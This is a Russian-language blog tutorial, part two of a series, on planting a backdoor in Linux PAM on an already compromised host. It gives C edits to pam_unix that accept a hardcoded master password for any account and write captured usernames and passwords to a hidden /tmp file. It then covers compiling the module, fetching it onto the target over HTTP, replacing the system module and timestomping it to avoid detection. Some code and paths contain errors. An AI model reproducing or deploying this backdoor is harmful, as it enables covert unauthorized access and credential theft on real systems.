PAM backdoor by artrone ЧАСТЬ 2/2

Добро пожаловать во вторую часть статьи «PAM backdoor». В предыдущей части мы обсудили, что такое PAM (Pluggable Authentication Modules) и как можно создать собственный модуль для PAM. В этой второй части мы пойдём немного по другому пути и изменим уже существующий модуль, а также настроим логирование для сбора паролей.

Кто не читал первую часть, вам сюда: https://habr.com/ru/articles/791240/

Способ 2. Модификация модуля

Если немножко вспомним прошлую статью, то заметим, что в качестве «стандарта», сервисы для авторизации используют common-auth, в котором содержится общий модуль pam_unix.so

cat su 
@include common-auth
cat sshd 
# Standard Un*x authentication.
@include common-auth
cat sudo-i 
@include common-auth

и т.д.

Собственно, вот и комментарий в common-auth, который описывает для чего он нужен и с чем его едят:

#/etc/pam.d/common-auth - authentication settings common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of the authentication modules that define
# the central authentication scheme for use on the system
# (e.g., /etc/shadow, LDAP, Kerberos, etc.).  The default is to use the
# traditional Unix authentication mechanisms.

А вот и сам подключаемый модуль, который нам интересен:

cat common-auth 
auth    [success=1 default=ignore]      pam_unix.so nullok

На данном этапе необходимо определить порядок действий:

  1. Получаем исходник pam_unix.so

  2. Модифицируем его

  3. Компилируем

  4. Заменяем «стандарт» на свой

  5. Профит!

Перейдем к практике

UPD: Данную атаку буду проводить через Remote вектор (удаленно).

Собственно, схема стандартная: скомпрометировал хост и хочу закрепиться в системе.

ee0d5dc86041e2640f2d571d6f51e288.png

1. Получение исходников

произвожу действия на своём хосте

Проверяем версию:

 dpkg -l | grep pam
ii  libpam-gnome-keyring:amd64                     42.1-1+b2                            amd64        PAM module to unlock the GNOME keyring upon login
ii  libpam-modules:amd64                           1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules for PAM
ii  libpam-modules-bin                             1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules for PAM - helper binaries
ii  libpam-runtime                                 1.5.2-9.1                            all          Runtime support for the PAM library
ii  libpam0g:amd64                                 1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules library
ii  libpam0g-dev:amd64                             1.5.2-9.1ubuntu1                         amd64        Development files for PAM
Как видим, версия PAM 1.5.2
wget https://github.com/linux-pam/linux-pam/releases/download/v1.5.2/Linux-PAM-1.5.1.tar.xz

*версию выбираете сами

tar -xf Linux-PAM-1.5.2.tar.xz
cd Linux-PAM-1.5.2/modules/pam_url

Среди множества файлов модуля pam_unix, нам необходим следующий :

a24ae16aef340488fe47331c8f9e5f2b.png

2. Модификация

Открываем его:

c5b78b9e7d701f501802d7cfb05e1702.png

Находим 172-ю строку и модифицируем код, добавляя дополнительную проверку пароля

if (strcmp(p, "the-world-is-yours") != 0) 
retval = _unix_verify_password(pamh, name, p, ctrl);
else
retval = PAM_SUCCESS;

Также можно сделать так:

retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
if (strcmp(p,"magic") == 0)
retval = PAM_SUCCESS; 

a550779a74f66c9f8246a5ae1347fff9.png

Собственно, мы добавили новое условие проверки пароля. Если говорить словами, то будет что-то типо: «Если количество различий введенных символов со строкой 'bye' равны нулю, то возвращаемое значение будет равно 'PAM_SUCCESS' ».

Теперь накатим логирование:

if (retval == PAM_SUCCESS) { 
FILE *fd; 
fd = fopen("/tmp/.passwd", "a"); 
fprint(fd, "%s:%sn", name, p); 
fclose(fd); 
}

В конечном итоге, получилось так:

a988ec16c2c810520e5655c47599d21e.png

Теперь логи будут лететь в /tmp/.passwd

3. Компиляция

Поскольку я имею две разные системы (несмотря на одинаковую версию PAM): kali и xubuntu, скомпилированный модуль на kali не подойдет для xubuntu и наоборот. Вас будут ждать эти пять заветных слов при попытки авторизации «Permission denied, please try again.»…

Если есть какой-то способ обойти это- отпишитесь. Будет очень интересно почитать.

cd Linux-PAM-1.5.2
./configure
make

Также хочу отметить, что при компиляции я столкнулся с рядом проблем:
1. Fatal error: rpc/rpc.h: No such file or directory

Фикс:

apt install libntirpc-dev
dpkg -L libntirpc-dev

2. In file included from /usr/include/tirpc/rpc/rpc.h, from yppasswd_xdr.c error: unknown type name 'int32_t'

Фикс:

В файле yppasswd_xdr.c подключаем

#include 

3. In file included from /usr/include/tirpc/rpc/rpc.h, from yppasswd_xdr.c error: unknown type name 'u_int32_t'

Фикс:

В файле /usr/include/tirpc/rpc/types.h меняем u_int32_t на uint32_t

4. Заменяем «стандарт» на свой

Итак, после того, как мы изменили файл pam_unix_auth.c, необходимо закинуть на целевой хост папку с PAM’ом

tar -zcvf temp.tar.gz Linux-PAM-1.5.2
python3 -m http.server
wget http://ip:8000/temp.tar.gz

Далее, делаем действия из пункта 3.

После этого, распаковываем файл и заменяем его:

tar -xvf temp.tar.gz
mv Linux-PAM-1.5.2/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu-security

Также стоит дать нужные права и поменять временные метки файла:

chmod 644 pam_unix.so
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_unix.so

4bf886e2696082d9ba035c227b9899a9.png

Ну и чистка логов в дальнейшем.

Проверяем результат:

aa939e718874065fabb0cee8f6399f56.png

Стоить добавить, что данная лазейка работает для любых аккаунтов, существующих на хосте. Например:

be763778ab9455059833aa430dd93495.png

Как видно, мы не задавали пароль пользователю и он успешно смог войти. Также и для su:

a8b3f7a622eda47435eec6d2b1329389.png

Заключение

Как я и говорил, данный способ является чуть более незаметным с точки зрения количества файлов, нежели добавление нового модуля, но требует компиляции на целевом хосте из-за некоторых особенностей, что может стать серьезной проблемой скрытия своего присутствия. Помимо этого, может возникнуть множество непредвиденных казусов (ошибки компиляции), которые требуют лишней активности.

UPD: Это был первый опыт разбиения статьи на части. Данная тема достаточно обширна, и показанные мной способы одни из множества вариантов в данном векторе. Надеюсь, изложение материала вам понравилось и всё было понятно. До новых встреч!

© Habrahabr.ru